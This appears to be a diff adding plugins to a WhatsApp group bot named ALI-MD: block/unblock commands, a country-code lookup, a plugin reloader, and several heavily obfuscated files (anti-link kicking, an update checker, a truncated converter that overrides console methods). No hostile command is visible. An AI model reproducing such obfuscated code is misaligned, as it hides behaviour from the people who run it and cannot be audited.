_0x2f88f6=[/https?:\/\/(?:chat\.whatsapp\.com|wa\.me)\/\S+/gi,/https?:\/\/(?:api\.whatsapp\.com|wa\.me)\/\S+/gi,/wa\.me\/\S+/gi,/https?:\/\/(?:t\.me|telegram\.me)\/\S+/gi,/https?:\/\/(?:www\.)?\.com\/\S+/gi,/https?:\/\/(?:www\.)?twitter\.com\/\S+/gi,/https?:\/\/(?:www\.)?linkedin\.com\/\S+/gi,/https?:\/\/(?:whatsapp\.com|channel\.me)\/\S+/gi,/https?:\/\/(?:www\.)?reddit\.com\/\S+/gi,/https?:\/\/(?:www\.)?discord\.com\/\S+/gi,/https?:\/\/(?:www\.)?twitch\.tv\/\S+/gi,/https?:\/\/(?:www\.)?vimeo\.com\/\S+/gi,/https?:\/\/(?:www\.)?dailymotion\.com\/\S+/gi,/https?:\/\/(?:www\.)?medium\.com\/\S+/gi],_0x22812b=_0x2f88f6['some'](_0x56428a=>_0x56428a['test'](_0x59e102));if(_0x22812b&&_0x3240d4[_0xbb70f3(0x21c,0x20c,0x232,0x24c)](config['ANTI_LINK'],_0x3240d4['jYAnl'])){console[_0x592c78(-0x51,-0x77,-0x2b,-0x84)]('Link\x20detec'+'ted\x20from\x20'+_0x197a37+':\x20'+_0x59e102);try{if(_0x3240d4[_0x592c78(-0xb5,-0x80,-0xcf,-0x96)]===_0x3240d4['boVPx']){const _0x1c7271={};_0x1c7271[_0xbb70f3(0x253,0x26a,0x25a,0x239)]=_0x5a117b[_0xbb70f3(0x22c,0x1fd,0x1fc,0x265)],await _0x1b0103['sendMessag'+'e'](_0x31329c,_0x1c7271),console[_0x592c78(-0x51,-0x20,-0x63,-0x76)](_0x592c78(-0x83,-0x94,-0x5b,-0x69)+'leted:\x20'+_0x5a117b[_0x592c78(-0x89,-0xa4,-0xb1,-0x96)]['id']);}else{const _0x381ee1=_0x1df5c4?function(){function _0x50da02(_0x1b97ef,_0xae226a,_0x1bceb1,_0x1506f2){return _0x592c78(_0x1506f2-0x53d,_0xae226a,_0x1bceb1-0x17c,_0x1506f2-0x1c3);}if(_0x49316a){const _0x172098=_0x471b28[_0x50da02(0x472,0x456,0x467,0x48a)](_0x4f2f40,arguments);return _0x4fee88=null,_0x172098;}}:function(){};return _0x444d4e=![],_0x381ee1;}}catch(_0x60fee7){console['error'](_0x3240d4[_0x592c78(-0x9a,-0x60,-0x9b,-0xb0)],_0x60fee7);}global[_0x592c78(-0x5f,-0x4e,-0x42,-0x43)][_0x197a37]=(global['warnings'][_0x197a37]||0xf8*0xb+-0x138f+0x8e7)+(-0x940+0x26*-0xf8+-0x1*-0x2e11);const _0xce1e8a=global[_0xbb70f3(0x256,0x244,0x231,0x21b)][_0x197a37];if(_0x3240d4['VBtuB'](_0xce1e8a,-0x1091+0x20f2+-0x105d))await _0x1b0103[_0x592c78(-0x5e,-0x67,-0x3b,-0x35)+'e'](_0x31329c,{'text':_0xbb70f3(0x20f,0x242,0x230,0x21c)+'αʀє\x20ɴσт\x20αℓ'+_0xbb70f3(0x239,0x24f,0x21c,0x20b)+_0xbb70f3(0x230,0x251,0x25a,0x25a)+_0xbb70f3(0x1fb,0x210,0x1f5,0x20f)+_0xbb70f3(0x21a,0x223,0x221,0x206)+'\x20:*\x20@'+_0x197a37[_0x592c78(-0x5b,-0x39,-0x2e,-0x5f)]('@')[0x6c*0x4+-0x4c*-0x1d+0x1*-0xa4c]+(_0xbb70f3(0x261,0x295,0x279,0x287)+_0xbb70f3(0x20b,0x1dc,0x1ee,0x226))+_0xce1e8a+(_0xbb70f3(0x242,0x24c,0x26e,0x278)+_0x592c78(-0x57,-0x92,-0x7e,-0x7a)+_0x592c78(-0x72,-0x4c,-0x38,-0x66)+'├▢\x20ᴡαʀɴ\x20ℓι'+_0xbb70f3(0x25c,0x299,0x267,0x252)+'╰─────────'+_0xbb70f3(0x21e,0x1ee,0x1f9,0x1ee)),'mentions':[_0x197a37]});else{if(_0x3240d4[_0xbb70f3(0x22a,0x21c,0x237,0x25c)](_0x3240d4[_0xbb70f3(0x231,0x258,0x256,0x231)],_0x3240d4[_0xbb70f3(0x231,0x224,0x238,0x204)])){if(_0x14dca9){const _0x5ba27c=_0x115b6e[_0xbb70f3(0x202,0x20f,0x1f9,0x1df)](_0x216f56,arguments);return _0xf8a883=null,_0x5ba27c;}}else await _0x1b0103[_0x592c78(-0x5e,-0x25,-0x26,-0x43)+'e'](_0x31329c,{'text':'@'+_0x197a37[_0x592c78(-0x5b,-0x5a,-0x32,-0x87)]('@')[0x5*0xf+0x6b*0x2e+-0x1385]+('\x20*нαѕ\x20вєєи'+_0x592c78(-0x66,-0x9c,-0xa4,-0x36)+'αʀɴ\x20ℓιмιт\x20'+'єχᴄєє∂є∂!*'),'mentions':[_0x197a37]}),await _0x1b0103['groupParti'+'cipantsUpd'+'ate'](_0x31329c,[_0x197a37],_0x3240d4[_0xbb70f3(0x206,0x1ee,0x1ef,0x215)]),delete global['warnings'][_0x197a37];}}}}catch(_0xdba093){if(_0x3240d4[_0xbb70f3(0x26d,0x24e,0x237,0x277)]===_0x3240d4['SPSLc'])console[_0xbb70f3(0x22e,0x20d,0x23b,0x24b)](_0x3240d4[_0xbb70f3(0x246,0x20f,0x211,0x227)],_0xdba093),_0x3240d4[_0xbb70f3(0x209,0x1dd,0x1cd,0x226)](_0x1698ad,_0x3240d4[_0x592c78(-0x50,-0x7e,-0x1e,-0x77)]);else{const _0x5f2a5f=_0x203b3e[_0xbb70f3(0x1fd,0x1fb,0x1ef,0x20d)+'r'][_0x592c78(-0x95,-0xcc,-0x71,-0x88)]['bind'](_0x33e366),_0x20bb3d=_0x5a19a9[_0x2e3263],_0xa257a4=_0x4733a0[_0x20bb3d]||_0x5f2a5f;_0x5f2a5f['__proto__']=_0x8a5db7[_0x592c78(-0x9e,-0xc1,-0xcf,-0xd4)](_0x400d2d),_0x5f2a5f[_0xbb70f3(0x23d,0x233,0x20a,0x21d)]=_0xa257a4[_0x592c78(-0x78,-0x7e,-0x44,-0x9b)][_0x592c78(-0x9e,-0xaf,-0xd8,-0x76)](_0xa257a4),_0x244131[_0x20bb3d]=_0x5f2a5f;}}});
|
plugins/block-upblock.js
ADDED
@@ -0,0 +1,79 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
const { cmd } = require('../command');
|
2 |
+
|
3 |
+
cmd({
|
4 |
+
pattern: "block",
|
5 |
+
desc: "Blocks a person",
|
6 |
+
category: "owner",
|
7 |
+
react: "🚫",
|
8 |
+
filename: __filename
|
9 |
+
},
|
10 |
+
async (conn, m, { reply, q, react }) => {
|
11 |
+
// Get the bot owner's number dynamically
|
12 |
+
const botOwner = conn.user.id.split(":")[0] + "@s.whatsapp.net";
|
13 |
+
|
14 |
+
if (m.sender !== botOwner) {
|
15 |
+
await react("❌");
|
16 |
+
return reply("Only the bot owner can use this command.");
|
17 |
+
}
|
18 |
+
|
19 |
+
let jid;
|
20 |
+
if (m.quoted) {
|
21 |
+
jid = m.quoted.sender; // If replying to a message, get sender JID
|
22 |
+
} else if (m.mentionedJid.length > 0) {
|
23 |
+
jid = m.mentionedJid[0]; // If mentioning a user, get their JID
|
24 |
+
} else if (q && q.includes("@")) {
|
25 |
+
jid = q.replace(/[@\s]/g, '') + "@s.whatsapp.net"; // If manually typing a JID
|
26 |
+
} else {
|
27 |
+
await react("❌");
|
28 |
+
return reply("Please mention a user or reply to their message.");
|
29 |
+
}
|
30 |
+
|
31 |
+
try {
|
32 |
+
await conn.updateBlockStatus(jid, "block");
|
33 |
+
await react("✅");
|
34 |
+
reply(`*@${jid.split("@")[0]} SUCCESSFULLY BLOCKED ⛔*`, { mentions: [jid] });
|
35 |
+
} catch (error) {
|
36 |
+
console.error("Block command error:", error);
|
37 |
+
await react("❌");
|
38 |
+
reply("Failed to block the user.");
|
39 |
+
}
|
40 |
+
});
|
41 |
+
|
42 |
+
cmd({
|
43 |
+
pattern: "unblock",
|
44 |
+
desc: "Unblocks a person",
|
45 |
+
category: "owner",
|
46 |
+
react: "🔓",
|
47 |
+
filename: __filename
|
48 |
+
},
|
49 |
+
async (conn, m, { reply, q, react }) => {
|
50 |
+
// Get the bot owner's number dynamically
|
51 |
+
const botOwner = conn.user.id.split(":")[0] + "@s.whatsapp.net";
|
52 |
+
|
53 |
+
if (m.sender !== botOwner) {
|
54 |
+
await react("❌");
|
55 |
+
return reply("Only the bot owner can use this command.");
|
56 |
+
}
|
57 |
+
|
58 |
+
let jid;
|
59 |
+
if (m.quoted) {
|
60 |
+
jid = m.quoted.sender;
|
61 |
+
} else if (m.mentionedJid.length > 0) {
|
62 |
+
jid = m.mentionedJid[0];
|
63 |
+
} else if (q && q.includes("@")) {
|
64 |
+
jid = q.replace(/[@\s]/g, '') + "@s.whatsapp.net";
|
65 |
+
} else {
|
66 |
+
await react("❌");
|
67 |
+
return reply("Please mention a user or reply to their message.");
|
68 |
+
}
|
69 |
+
|
70 |
+
try {
|
71 |
+
await conn.updateBlockStatus(jid, "unblock");
|
72 |
+
await react("✅");
|
73 |
+
reply(`*@${jid.split("@")[0]} SUCCESSFULLY UNBLOCKED ✅*`, { mentions: [jid] });
|
74 |
+
} catch (error) {
|
75 |
+
console.error("Unblock command error:", error);
|
76 |
+
await react("❌");
|
77 |
+
reply("Failed to unblock the user.");
|
78 |
+
}
|
79 |
+
});
|
plugins/check-code.js
ADDED
@@ -0,0 +1,50 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
const axios = require("axios");
|
2 |
+
const { cmd } = require("../command");
|
3 |
+
|
4 |
+
// Helper function to convert a country ISO code to its flag emoji
|
5 |
+
function getFlagEmoji(countryCode) {
|
6 |
+
if (!countryCode) return "";
|
7 |
+
return countryCode
|
8 |
+
.toUpperCase()
|
9 |
+
.split("")
|
10 |
+
.map(letter => String.fromCodePoint(letter.charCodeAt(0) + 127397))
|
11 |
+
.join("");
|
12 |
+
}
|
13 |
+
|
14 |
+
cmd({
|
15 |
+
pattern: "check",
|
16 |
+
desc: "Checks the country calling code and returns the corresponding country name(s) with flag",
|
17 |
+
category: "utility",
|
18 |
+
filename: __filename
|
19 |
+
}, async (conn, mek, m, { from, args, reply }) => {
|
20 |
+
try {
|
21 |
+
let code = args[0];
|
22 |
+
if (!code) {
|
23 |
+
return reply("*🎐 ᴘʟᴇᴀsᴇ ᴘʀᴏᴠɪᴅᴇ ᴀ ᴄᴏᴜɴᴛʀʏ ᴄᴏᴅᴇ. ᴇxᴀᴍᴘʟᴇ: `.ᴄʜᴇᴄᴋ 𝟿𝟸`*");
|
24 |
+
}
|
25 |
+
|
26 |
+
// Remove any '+' signs from the code
|
27 |
+
code = code.replace(/\+/g, '');
|
28 |
+
|
29 |
+
// Fetch all countries using the REST Countries v2 API
|
30 |
+
const url = "https://restcountries.com/v2/all";
|
31 |
+
const { data } = await axios.get(url);
|
32 |
+
|
33 |
+
// Filter countries whose callingCodes include the given code
|
34 |
+
const matchingCountries = data.filter(country =>
|
35 |
+
country.callingCodes && country.callingCodes.includes(code)
|
36 |
+
);
|
37 |
+
|
38 |
+
if (matchingCountries.length > 0) {
|
39 |
+
const countryNames = matchingCountries
|
40 |
+
.map(country => `${getFlagEmoji(country.alpha2Code)} ${country.name}`)
|
41 |
+
.join("\n");
|
42 |
+
reply(`📮 *Country Code*: ${code}\n🌍 *Countries*:\n${countryNames}`);
|
43 |
+
} else {
|
44 |
+
reply(`❌ No country found for the code ${code}.`);
|
45 |
+
}
|
46 |
+
} catch (error) {
|
47 |
+
console.error(error);
|
48 |
+
reply("❌ An error occurred while checking the country code.");
|
49 |
+
}
|
50 |
+
});
|
plugins/checkupdate.js
ADDED
@@ -0,0 +1 @@
|
|
|
|
|
1 |
+
function _0x41c4(_0x4d7775,_0x320bde){const _0x665e75=_0x665e();return _0x41c4=function(_0x41c4e7,_0x320894){_0x41c4e7=_0x41c4e7-0xa3;let _0x1868b0=_0x665e75[_0x41c4e7];return _0x1868b0;},_0x41c4(_0x4d7775,_0x320bde);}function _0x665e(){const _0x2b81a1=['sha','checksync','Error\x20reading\x20package.json:','```✅\x20Your\x20ALI-MD\x20bot\x20is\x20already\x20up-to-date!```\x0a','2900704ZLIDMQ','66555vxuAFv','778880KDiIpq','filename','get','error','Check\x20update\x20error:','date','files','173054YcKihJ','4624250wILaRR','6479046otulTt','checkupgrade','10891esTfRy','\x0a\x0aTo\x20update\x20the\x20bot,\x20please\x20run\x20the\x20command\x20`.update`','path','map','UTC','\x0a📅\x20*DATE*:\x20','misc','58VbOdyE','toLocaleString','https://api.github.com/repos/itx-ali-raza/ALI-MD/commits/main','commit','en-US','author','unknown','60HsLbmL','commitHash','adm-zip','\x0a🔄\x20*FILES\x20MODIFIED*:\x0a'];_0x665e=function(){return _0x2b81a1;};return _0x665e();}const _0xcaa1ef=_0x41c4;(function(_0x454eec,_0x255f42){const _0x546b82=_0x41c4,_0x3d1b24=_0x454eec();while(!![]){try{const _0x45c9be=parseInt(_0x546b82(0xc1))/0x1*(parseInt(_0x546b82(0xa5))/0x2)+parseInt(_0x546b82(0xb5))/0x3+-parseInt(_0x546b82(0xb6))/0x4+parseInt(_0x546b82(0xbe))/0x5+parseInt(_0x546b82(0xac))/0x6*(-parseInt(_0x546b82(0xbd))/0x7)+parseInt(_0x546b82(0xb4))/0x8+-parseInt(_0x546b82(0xbf))/0x9;if(_0x45c9be===_0x255f42)break;else _0x3d1b24['push'](_0x3d1b24['shift']());}catch(_0x8ece62){_0x3d1b24['push'](_0x3d1b24['shift']());}}}(_0x665e,0x7130c));const {cmd}=require('../command'),axios=require('axios'),fs=require('fs'),path=require(_0xcaa1ef(0xc3)),AdmZip=require(_0xcaa1ef(0xae));cmd({'pattern':'checkupdate','alias':[_0xcaa1ef(0xc0),_0xcaa1ef(0xb1)],'react':'🔍','desc':'Check\x20for\x20updates\x20without\x20applying\x20them.','category':_0xcaa1ef(0xa4),'filename':__filename},async(_0x12553d,_0x3b0e7f,_0x513ca0,{from:_0x4f6035,reply:_0x5d90e8,sender:_0x3fc6ce,isOwner:_0x90cd41})=>{const _0x50a56d=_0xcaa1ef;if(!_0x90cd41)return _0x5d90e8('This\x20command\x20is\x20only\x20for\x20the\x20bot\x20owner.');try{const {data:_0x5b6f17}=await axios[_0x50a56d(0xb8)](_0x50a56d(0xa7)),_0x2bd28a=_0x5b6f17[_0x50a56d(0xb0)],_0x352f8e=_0x5b6f17[_0x50a56d(0xa8)][_0x50a56d(0xaa)]['name'],_0x35cca7=new Date(_0x5b6f17[_0x50a56d(0xa8)]['author'][_0x50a56d(0xbb)])[_0x50a56d(0xa6)](_0x50a56d(0xa9),{'timeZone':_0x50a56d(0xc5)}),_0x5bab21=_0x5b6f17[_0x50a56d(0xbc)][_0x50a56d(0xc4)](_0x550ee4=>'📄\x20'+_0x550ee4[_0x50a56d(0xb7)])['join']('\x0a');let _0x22514c=_0x50a56d(0xab);try{const _0xf8cf3d=require('../package.json');_0x22514c=_0xf8cf3d[_0x50a56d(0xad)]||_0x50a56d(0xab);}catch(_0x5a922b){console['error'](_0x50a56d(0xb2),_0x5a922b);}if(_0x2bd28a===_0x22514c)return _0x5d90e8(_0x50a56d(0xb3));else await _0x5d90e8('🔄\x20*UPDATES\x20are\x20AVAILABLE\x20FOR\x20ALI-MD.*\x0a📑\x20*LAST\X20COMMIT*:\x20`'+_0x2bd28a+'`\x0a👤\x20*AUTHOR*:\x20'+_0x352f8e+_0x50a56d(0xa3)+_0x35cca7+_0x50a56d(0xaf)+_0x5bab21+_0x50a56d(0xc2));}catch(_0x301335){console[_0x50a56d(0xb9)](_0x50a56d(0xba),_0x301335),_0x5d90e8('❌\x20Check\x20update\x20failed.\x20Please\x20try\x20manually.');}});
|
plugins/cmdupdate.js
ADDED
@@ -0,0 +1,58 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
|
2 |
+
|
3 |
+
const fs = require('fs');
|
4 |
+
const path = require('path');
|
5 |
+
const config = require('../config');
|
6 |
+
const { cmd, commands } = require('../command');
|
7 |
+
|
8 |
+
cmd({
|
9 |
+
pattern: "updatecmd",
|
10 |
+
react: "🧞",
|
11 |
+
desc: "Update commands.",
|
12 |
+
category: "owner",
|
13 |
+
filename: __filename
|
14 |
+
},
|
15 |
+
async (conn, mek, m, {
|
16 |
+
from,
|
17 |
+
quoted,
|
18 |
+
body,
|
19 |
+
isCmd,
|
20 |
+
command,
|
21 |
+
args,
|
22 |
+
q,
|
23 |
+
isGroup,
|
24 |
+
sender,
|
25 |
+
senderNumber,
|
26 |
+
botNumber2,
|
27 |
+
botNumber,
|
28 |
+
pushname,
|
29 |
+
isMe,
|
30 |
+
isOwner,
|
31 |
+
groupMetadata,
|
32 |
+
groupName,
|
33 |
+
participants,
|
34 |
+
groupAdmins,
|
35 |
+
isBotAdmins,
|
36 |
+
isAdmins,
|
37 |
+
reply
|
38 |
+
}) => {
|
39 |
+
try {
|
40 |
+
if (!isOwner) return reply("Only bot owners can use this command.");
|
41 |
+
|
42 |
+
const pluginsDir = path.join(__dirname, '../plugins');
|
43 |
+
const files = fs.readdirSync(pluginsDir);
|
44 |
+
|
45 |
+
for (const file of files) {
|
46 |
+
if (file.endsWith('.js')) {
|
47 |
+
const filePath = path.join(pluginsDir, file);
|
48 |
+
require(filePath);
|
49 |
+
console.log(`Loaded ${file}`);
|
50 |
+
}
|
51 |
+
}
|
52 |
+
|
53 |
+
reply("Commands updated successfully.");
|
54 |
+
} catch (e) {
|
55 |
+
console.log(e);
|
56 |
+
reply(`Error updating commands: ${e.message}`);
|
57 |
+
}
|
58 |
+
});
|
plugins/convertr.js
ADDED
@@ -0,0 +1 @@
|
|
|
|
|
1 |
+
(function(_0x40af0c,_0x5098c2){const _0x5942c0=_0x40af0c();function _0x1784c9(_0x1ec6e9,_0xe00b44,_0x42fafd,_0x342226){return _0x43e4(_0x342226- -0xf7,_0xe00b44);}function _0x56fd1d(_0x314215,_0x5dc5,_0x10ebe0,_0x1667b3){return _0x43e4(_0x5dc5-0x2f1,_0x1667b3);}while(!![]){try{const _0x40c3de=parseInt(_0x1784c9(-0x12,-0x65,-0x2,-0x36))/(0x4fd*-0x1+-0xea2*-0x1+-0x9a4*0x1)*(-parseInt(_0x1784c9(-0x23,0x4,-0x3e,-0x9))/(-0x1a55+0x842+0x1*0x1215))+parseInt(_0x1784c9(-0x10,-0x45,-0x28,-0x3d))/(0x1cfa+0xdf9+-0x2af0)+-parseInt(_0x1784c9(0x4b,0x3e,-0x1e,0x13))/(-0x85*-0x3b+-0xf00+-0x1*0xfa3)*(-parseInt(_0x56fd1d(0x3cd,0x3c2,0x3c6,0x3dd))/(0x1*0x16ce+-0x1d3a+0x671))+parseInt(_0x1784c9(0x14,-0x10,-0x26,-0x6))/(0xc*-0x1bb+0x1d64+-0x2*0x44d)*(parseInt(_0x56fd1d(0x40b,0x3f5,0x3f0,0x3ef))/(-0x15fc+-0x1172+0x5a3*0x7))+-parseInt(_0x1784c9(-0x52,-0x2a,-0x38,-0x38))/(0x14ad+-0x1676+0x1d1)+-parseInt(_0x1784c9(0x0,-0x41,-0x2f,-0x2e))/(0x1dc8+-0x3e3+-0x19dc)+-parseInt(_0x1784c9(-0x38,-0x52,-0x10,-0x30))/(0x8*-0x158+-0x9*-0x1b7+-0x1*0x4a5);if(_0x40c3de===_0x5098c2)break;else _0x5942c0['push'](_0x5942c0['shift']());}catch(_0x5dfa01){_0x5942c0['push'](_0x5942c0['shift']());}}}(_0xdf28,-0x65f9c+0x226e1+0xb5389));const _0x42137e=(function(){const _0x540712={};_0x540712[_0x5e84d7(0x211,0x1ff,0x206,0x220)]=function(_0x15b684,_0x26f8d3){return _0x15b684===_0x26f8d3;};function _0x5e84d7(_0x33daf6,_0x230d80,_0x27f710,_0x40e5c3){return _0x43e4(_0x230d80-0x107,_0x33daf6);}const _0x29601b=_0x540712;let _0x269edf=!![];return function(_0x188735,_0x28536e){const _0x51155f={'WgIWQ':function(_0x2e6e70,_0x973bc8){function _0x1784d8(_0x5ced37,_0x375fa6,_0x2a3b0c,_0x460df8){return _0x43e4(_0x5ced37- -0x52,_0x375fa6);}return _0x29601b[_0x1784d8(0xa6,0x83,0x6a,0xdd)](_0x2e6e70,_0x973bc8);},'KFXyl':'onMbn'},_0x4c9300=_0x269edf?function(){function _0x4b84d8(_0x102d47,_0x43878b,_0x4670ab,_0x115cb5){return _0x43e4(_0x115cb5-0x2ef,_0x4670ab);}function _0x2cba95(_0x3d55fb,_0x49f5e3,_0x181804,_0x1fc216){return _0x43e4(_0x1fc216-0x100,_0x3d55fb);}if(_0x51155f[_0x4b84d8(0x3fe,0x3ab,0x3d2,0x3c5)](_0x51155f['KFXyl'],_0x51155f[_0x4b84d8(0x3af,0x3b2,0x3da,0x3d8)])){if(_0x28536e){const _0x398ef9=_0x28536e['apply'](_0x188735,arguments);return _0x28536e=null,_0x398ef9;}}else{if(_0x141198){const _0x200b69=_0x5d5c29[_0x4b84d8(0x3c4,0x3e1,0x3fb,0x3be)](_0x3e93fb,arguments);return _0x278d43=null,_0x200b69;}}}:function(){};return _0x269edf=![],_0x4c9300;};}()),_0x302fd8=_0x42137e(this,function(){const _0x11995f={};_0x11995f[_0x425fb7(0x77,0xb,0x28,0x3c)]='(((.+)+)+)'+'+$';const _0xce871b=_0x11995f;function _0x504ae0(_0x52fefe,_0x3b3746,_0x2680d7,_0x440b57){return _0x43e4(_0x3b3746-0x387,_0x2680d7);}function _0x425fb7(_0x1caa2,_0x2bb98f,_0xab615e,_0x5dc057){return _0x43e4(_0x5dc057- -0xc9,_0x2bb98f);}return _0x302fd8[_0x425fb7(0x37,0x3a,0x91,0x59)]()[_0x504ae0(0x4b6,0x49a,0x489,0x463)]('(((.+)+)+)'+'+$')['toString']()[_0x425fb7(0x1d,0x4b,0x77,0x3e)+'r'](_0x302fd8)['search'](_0xce871b[_0x504ae0(0x48f,0x48c,0x459,0x455)]);});_0x302fd8();const _0x515747=(function(){let _0x445bb3=!![];return function(_0x2e59b9,_0x1b1da8){const _0x54609c=_0x445bb3?function(){function _0x4df09a(_0x21b376,_0x20c6ca,_0x1d52b8,_0xefeb2c){return _0x43e4(_0x21b376- -0x214,_0xefeb2c);}if(_0x1b1da8){const _0x23eaa0=_0x1b1da8[_0x4df09a(-0x145,-0x10e,-0x167,-0x11b)](_0x2e59b9,arguments);return _0x1b1da8=null,_0x23eaa0;}}:function(){};return _0x445bb3=![],_0x54609c;};}());function _0x3780a5(_0x49dced,_0x2bb86c,_0x322e9b,_0x712de7){return _0x43e4(_0x322e9b-0x1db,_0x49dced);}const _0x3efc71=_0x515747(this,function(){const _0x511776={'dvbmE':function(_0x2bdb34,_0x3e125c){return _0x2bdb34!==_0x3e125c;},'sUyPE':_0x55b307(0x3d,0x10,0x5d,0x59),'NRQVX':function(_0x508bbb,_0x200b6a){return _0x508bbb(_0x200b6a);},'dUBMr':function(_0x23392a,_0x4f9b13){return _0x23392a+_0x4f9b13;},'hbZft':_0x5add1a(0x2b1,0x2e8,0x280,0x2b2)+_0x5add1a(0x29d,0x2ed,0x2d4,0x2b8),'iQzyI':_0x55b307(0x57,0x2a,0x23,0x39)+_0x5add1a(0x2e0,0x2f1,0x2a3,0x2cb)+'rn\x20this\x22)('+'\x20)','WlMXu':function(_0x2437e2){return _0x2437e2();},'yVXYa':_0x55b307(-0x1,0x2d,-0x6,-0x12),'vQpzk':_0x55b307(0x34,0x48,0x32,-0x7),'lnBFY':_0x55b307(-0xe,-0x2f,-0x21,-0x4a),'MXXID':_0x55b307(0x32,0xb,0x2,0x6b),'xVHwh':'exception','EKEaz':_0x55b307(0x20,0x5a,0x30,0x1b),'uglrs':function(_0x35384a,_0x785cf0){return _0x35384a<_0x785cf0;}};function _0x5add1a(_0x1bdfa5,_0x448af2,_0x8be91d,_0x95c4d8){return _0x43e4(_0x95c4d8-0x1db,_0x1bdfa5);}let _0x3141ee;function _0x55b307(_0x4616b5,_0x25217e,_0x952e0,_0x37ef9c){return _0x43e4(_0x4616b5- -0xd9,_0x25217e);}try{if(_0x511776[_0x55b307(0x2f,0x20,0x44,0x34)](_0x511776[_0x5add1a(0x2f5,0x290,0x2c8,0x2b9)],'ktxIE')){const _0x39818f=_0x511776[_0x55b307(0x41,0x3a,0x71,0x61)](Function,_0x511776['dUBMr'](_0x511776['hbZft'],_0x511776[_0x5add1a(0x2f7,0x2f9,0x2e3,0x2d5)])+');');_0x3141ee=_0x511776[_0x55b307(-0x7,-0x20,-0x8,0x36)](_0x39818f);}else{const _0x52e978=_0x511403['constructo'+'r'][_0x5add1a(0x2a4,0x272,0x29d,0x293)][_0x55b307(0x1,-0x30,-0x22,-0xb)](_0x551a3f),_0x2fef67=_0x2c913e[_0x2e42ca],_0xf8b86c=_0x19263d[_0x2fef67]||_0x52e978;_0x52e978[_0x55b307(0xb,-0x26,0x10,-0x3)]=_0x32008b[_0x55b307(0x1,-0x12,-0x28,-0x1c)](_0x4cc8dc),_0x52e978[_0x55b307(0x49,0x20,0xc,0x85)]=_0xf8b86c['toString'][_0x5add1a(0x29a,0x2ed,0x2c8,0x2b5)](_0xf8b86c),_0xfa4a7c[_0x2fef67]=_0x52e978;}}catch(_0x482d28){_0x3141ee=window;}const _0x4a6a4d=_0x3141ee[_0x55b307(0x3f,0x6f,0x60,0x2b)]=_0x3141ee[_0x55b307(0x3f,0x1c,0x12,0x3b)]||{},_0x5a434c=[_0x511776[_0x55b307(0x54,0x3f,0x8f,0x42)],_0x511776[_0x5add1a(0x2c6,0x287,0x2d8,0x2a9)],_0x511776[_0x55b307(0x4f,0x35,0x41,0x5f)],_0x511776[_0x55b307(0x1d,0x2d,0x2f,-0x15)],_0x511776[_0x55b307(0x1b,-0xf,-0x2,-0x1c)],_0x511776['EKEaz'],_0x5add1a(0x280,0x2a2,0x2ec,0x2b6)];for(let _0x3a92f4=-0x1*0x19e5+-0x134d+0x2d32;_0x511776[_0x55b307(0xa,-0x1e,0x28,-0x17)](_0x3a92f4,_0x5a434c[_0x55b307(-0xd,0x2a,-0x20,0x26)]);_0x3a92f4++){const _0x5b4dd6=_0x515747[_0x55b307(0x2e,0x4e,0x12,0x5a)+'r']['prototype'][_0x5add1a(0x281,0x2af,0x2e0,0x2b5)](_0x515747),_0x55e4f9=_0x5a434c[_0x3a92f4],_0x3ea8ec=_0x4a6a4d[_0x55e4f9]||_0x5b4dd6;_0x5b4dd6[_0x55b307(0xb,0x2b,0x21,0x3)]=_0x515747['bind'](_0x515747),_0x5b4dd6[_0x55b307(0x49,0x3b,0x73,0x42)]=_0x3ea8ec[_0x55b307(0x49,0x32,0x13,0x20)][_0x55b307(0x1,0x36,0x10,0x37)](_0x3ea8ec),_0x4a6a4d[_0x55e4f9]=_0x5b4dd6;}});_0x3efc71();const converter=require('../data/co'+_0x49523d(0x1be,0x1cf,0x1f8,0x1c7)),{cmd}=require(_0x3780a5(0x2e1,0x30d,0x2e9,0x2ca)),_0x592e2b={};function _0x43e4(_0x1d09b1,_0x302fd8){const _0x42137e=_0xdf28();return _0x43e4=function(_0xdf28f3,_0x43e446){_0xdf28f3=_0xdf28f3-(-0x14aa+0xf6*-0x8+0x1d11);let _0x1306ad=_0x42137e[_0xdf28f3];return _0x1306ad;},_0x43e4(_0x1d09b1,_0x302fd8);}_0x592e2b[_0x49523d(0x1cb,0x1a8,0x18a,0x18f)]=_0x49523d(0x1cc,0x19c,0x1cf,0x1a9),_0x592e2b[_0x49523d(0x162,0x149,0x1b3,0x186)]=[_0x49523d(0x198,0x166,0x18f,0x171)],_0x592e2b['desc']='Convert\x20me'+_0x3780a5(0x300,0x302,0x2c5,0x2ff)+'io',_0x592e2b[_0x49523d(0x19a,0x1a3,0x161,0x198)]=_0x49523d(0x180,0x1cf,0x18b,0x1b3),_0x592e2b[_0x49523d(0x1a9,0x1e9,0x1ee,0x1e2)]='🌀',_0x592e2b['filename']=__filename,cmd(_0x592e2b,async(_0x412aa5,_0x49af37,_0x20373d,{from:_0x5ba8db})=>{const 